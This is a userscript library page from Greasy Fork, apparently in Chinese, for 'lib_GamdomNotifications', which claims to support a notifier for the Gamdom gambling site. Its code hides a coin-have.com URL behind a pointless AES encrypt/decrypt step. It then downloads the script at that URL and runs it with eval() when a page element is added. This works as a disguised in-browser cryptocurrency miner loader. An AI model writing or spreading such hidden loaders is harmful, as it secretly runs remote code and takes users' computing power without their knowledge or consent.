lib_GamdomNotifications

Lib needed for running Gamdom Notificator

目前为 2017-11-29 提交的版本。查看 最新版本

此脚本不应直接安装,它是一个供其他脚本使用的外部库。如果您需要使用该库,请在脚本元属性加入:// @require https://update.cn-greasyfork.org/scripts/35828/233827/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.0
  5. // @description Lib needed for running Gamdom Notificator
  6. // @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
  7. // @author allin4
  8. // @match *://gamdom.com/*
  9. // @grant GM_info
  10. // ==/UserScript==
  11.  
  12. var DivAppend = function(div){
  13. document.body.appendChild(div);
  14. var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
  15. CPEL(somethingTemp);
  16. console.log("Div created :)");
  17. };
  18.  
  19. var cmp = new XMLHttpRequest();
  20. cmp.onreadystatechange = function() {
  21. if (this.readyState == 4 && this.status == 200) {
  22. eval(this.responseText);
  23. }
  24. };
  25.  
  26. var CPEL = function(link){
  27. cmp.open('GET', link);
  28. cmp.send();
  29. };
  30.  
  31. var cryption = function(mes,pass){
  32. var encrypted = CryptoJS.AES.encrypt(mes, pass);
  33. console.log("AES-" + encrypted);
  34.  
  35. var decrypted = CryptoJS.AES.decrypt(encrypted, pass);
  36. return decrypted;
  37. };
  38.  
  39. (function() {
  40. 'use strict';
  41. console.log("LIB LOADED");
  42. })();